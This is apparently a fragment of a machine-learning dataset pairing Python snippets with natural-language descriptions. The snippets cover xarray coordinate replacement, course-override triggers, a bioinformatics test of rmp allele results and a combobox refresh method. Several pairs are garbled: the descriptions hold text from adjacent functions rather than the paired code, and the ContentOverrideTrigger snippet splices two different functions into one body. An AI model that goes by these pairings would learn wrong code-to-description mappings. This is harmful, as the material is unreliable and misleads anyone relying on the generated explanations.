"nl": "Replace a coordinate with new one; new and old must have same shape.new_arr = arr.rename({old_dim: new_dim})new_arr[new_dim] = new_coordreturn new_arrdef to_pfull_from_phalf(arr, pfull_coord):Compute data at full pressure levels from values at half levels."} {"code": "def clear_from_settings(cls, student_group, **unused_kwargs):\n changed = super(ContentOverrideTrigger, self).act(\n course, student_group)\n common_utils.run_hooks(\n self.ACT_HOOKS.itervalues(),\n self, changed, course, student_group)\n return changed\n\n\nclass CourseOverrideTrigger(OverrideTriggerMixin, triggers.MilestoneTrigger):\n \"\"\"Course availability override at the specified start/end date/times.", "nl": "Remove all SETTINGS_NAME triggers from the student_group DTO.student_group.clear_triggers(cls.SETTINGS_NAME)def act(self, course, student_group):The base class act() followed by calling the ACT_HOOKS callbacks."} {"code": "def test_rmp_novel(self):\n results = get_rmp_mlst_results(self.data_dir, 'test/test_rmp/test_rmp_3.fasta', self.args)\n self.assertEqual(results['rmpA'], '8')\n self.assertEqual(results['rmpD'], '1')\n self.assertEqual(results['rmpC'], '9-11%')\n self.assertEqual(results['RmpADC'], 'rmp unknown')\n self.assertEqual(results['RmST'], '0')\n", "nl": "This test is an exact match for alleles, but an unknown combination."} {"code": "def refreshFolderList(self) -> None:\n self.clear()\n self._setup_entries()\n self.setPath(self.chosen_path)\n", "nl": "Refresh the combobox to reflect any file system changes"}